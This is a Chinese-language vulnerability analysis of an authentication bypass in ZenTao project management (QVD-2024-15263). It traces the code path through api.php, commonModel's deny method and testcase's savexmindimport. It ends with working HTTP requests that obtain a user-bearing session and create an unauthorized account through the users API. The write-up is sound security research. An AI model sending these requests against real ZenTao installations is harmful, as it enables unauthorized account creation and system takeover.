禅道项目管理系统身份验证漏洞分析QVD-2024-15263

前言

        最近不怎么更新了！向小伙伴说明下我不是什么组织更不什么经销号（尽管csdn有很多经销广告号）
        一确实是下岗了！忙着为找工作而发愁。简历都投出去如同石沉大海能不愁吗!.哎......
        二是忙着论文及材料的事....
        三是也看了最近的漏洞，感觉也没啥可分析的一眼就看出问题所在。有什么可分析的呢！就像医生看看患者如同看萝卜白菜一样.....，
        那分析反序列化链呢，这也没什么意思啊！

话说到此，今儿个就推荐你看这篇文章。有一定难度挑战度，内容还是跟以前一样，以一个挖洞者的视角来讲解分析。逻辑绝对保证逻辑，绝对给你分析的明明白白的前后贯彻........

漏洞信息

参考链接

https://github.com/easysoft/zentaopms/commit/695055c6b1d2e6a8c944bdbc38308c06820c40ce

根据网上纰漏的信息及作者补救的代码来看，我们不难看出只要app拥有对象user就可以绕过某种限制。

后续的更正代码则是进一步判断user对象中的account。既然是漏洞就代表着判断user一定存在某种问题。

漏洞分析

我们先分析一波，谁的执行流程会经过这行验证。

因为这段代码逻辑在类的构造方法中，我们右键点击entery -> Find Usages

着api\v1\entries 这个目录下的类似乎都继承了entry,

我们挑一个敏感的 usersEntry

为什么说usersEntry比较敏感呢，因为他的类中有一个函数POST，这个函数似乎可以创建用户账号。

这个之后再用 Find Usages ，就没有结果了。但着不意味着没有函数去调用它。

这里我给大家提供几种思路，

一是利用框架的特点，看看我们是否可以调用匹配路由规则的函数。

二是寻找用户可以控制的点，这类往往是参数进行反射调用，或者类似与call_user_func_array这样的函数去调用某个方法。

着api这个类中我们就找到了这样的线索，call_user_func_array() 后面似乎也是我们想要的enter。

分析下上面的逻辑；$entry = new $entryName(); 而 $entryName 是api的成员entry+"Entry" 得来的，

也就是说得让api 的成员值为users。另外也需将api的成员action为post 。这才能去调用usersEntry的post方法

根据这几个线索，我们继续Find Usages --> loadModule，找到一个比较上层的。

非常好这个算是入口点了，最好在验证下api.php我们是否可以访问这个文件。

接下在就重点分析下，app下的user对象的限制，与api的entry成员是否可控。

1，先分析成员entry何时被赋值

entry由传来的$target赋值，需继续向上分析。我们也意外看到了action的 strtolower($_SERVER['REQUEST_METHOD']);完美这个我们刚刚好可以控制这个变量为post，只需前端发起post请求就好了。

右键route Find Usages

这个parseRequest() 正好也是api.php调用而来的

parseRequest()方法中，是this->config->routes传进入的，似乎是不可控的变量的。

但回到route方法中，你仔细分析$target变量，就会发现其实成员entry一定程度上是可控的

path这个成员实在api的构造方法中被赋值的。（随便提示下来接下来的处理中version被path赋值，这个也是执行条件之一）

右键this->path Find Usages

那么this->config->routes有关键字user吗？看下图，有的！

$entry与action已经分析完毕，这俩都有机会可控，去执行usersEntry的post方法。

接下来重点分析绕过这个限制

if(!isset($this->app->user) or $this->app->user->account == 'guest') throw EndResponseException::create($this->sendError(401, 'Unauthorized'));

如何才能让app对象(api类)有user成员呢?

既然我们的入口点是api.php，那么我们着重分析下api.的执行流程查看app->user合适能过被赋值

在loadCommon中找到了点线索

在extCommonModel();的构造方法中，有一个方法setUser

app->可以有session对象的user成员赋值，条件是session有这个成员即可。这个可以当作利用之一

分析这个利用的可能，在创建api对象时会走到baseRouter的构造方法中（继承关系走的），有setSuperVars方法

但是我们并没有找到user被赋值的逻辑

session的作用就在于多个请求是连续的，这样就促使我们可以多发请求，以找到让session中拥有user的可能

。。。。

这里有一个deny方法，分析里面的逻辑这里涉及到对相关字段的赋值

$this->app 没有对象$user 会怎样？

$user会被创建=null吗？之后$user->的成员rights，groups，admin会被创建吗？

但凡user对象被创建起来，后面就会被赋值给session 这个已经足够我们进行利用的条件了。

那么下面分析如何才能去调用这串代码。commonModel的deny方法

右键deny Find Usages

这个虽然可以调用deny方法但是需要this->app->user, 这个显然我们是没有的，我们调用deny的目的也是要拥有user对象。

之后的一样没有结果了，我们只能再次把期望寄托于类似于参数反射调用，或者类似于call_user_func_array这样的函数去调用某个方法。

还记得之前loadModule模块吗？，有version字段的调用enter的某方法。那么没有version会不会也执行call_user_func_array调用某方法呢

跟入到父类的loadModule中去，最终来到这里，果然有call_user_func_array的调用

分析下module与methodName是怎么传来的，是否为可控变量。

继续分析$moduleName变量，

继续分析moduleName的赋值（这几次搜索结果，都要靠近router因为api类继承的它，比较可能有一条调用链）

这里有两种可能，一个是GET方式，一个是Pathinfo方式

选择GET方式进行分析，

this->config->moduleVar与$this->config->methodVar两个变量是m 与 f

api.php?m=commonModel&f=deny 直接这样干，行不行？

后续调试中发现，这点不好绕过

deny不在开放方法中啊，

现在只能希望与这里开放的方法中找可以调用deny的（且是commonModel类有继承关系的）

.................，一番对比终于在testcase中发现了saveXmindImport有deny的方法的调用

且common是继承commonModel类的，非常好就是我们想要的结果。

以这样的payload 打过去/zentaopms/www/api.php?m=testcase&f=savexmindimport。

后端调试发现并程序没有进入deny方法中，回头检查一下

经过一番观察分析，发现在testcase的构造方法中，有下面验证限制，

绕过也很简单，要么$products查的存在，要么前端是一个ajax请求

我们只需这样就可以是ajax请求了

ok这样就进入deny了

漏洞验证

GET /zentaopms/www/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest HTTP/1.1
Host: localhost
sec-ch-ua: "Chromium";v="119", "Not?A_Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: lang=zh-cn; vision=rnd; device=desktop; theme=default; preProductID=1; preBranch=0; preExecutionID=1; lastProject=7; goback=%7B%22admin%22%3A%22http%3A%5C%2F%5C%2Flocalhost%5C%2Fzentaopms%5C%2Fwww%5C%2Findex.php%3Fm%3Dcompany%26f%3Dbrowse%22%7D;XDEBUG_SESSION=14117
Connection: close

此时返回的cookie() 与之关联的session时经过deny方法处理过的是由user的。

现在开始创建用户账号的验证

POST /zentaopms/www/api.php/v1/users HTTP/1.1
Cookie: zentaosid=bk2fnh0asopgj78jvkc7klu2m4;XDEBUG_SESSION=
Host: localhost
Content-Length: 93

{"account": "66test", "password": "Test123", "realname": "Test", "role": "top", "group": "1"}

此时后端调试也发现进入了usersEntry中的post方法且创建了用户账号

接下来登录验证一下

66test：Test123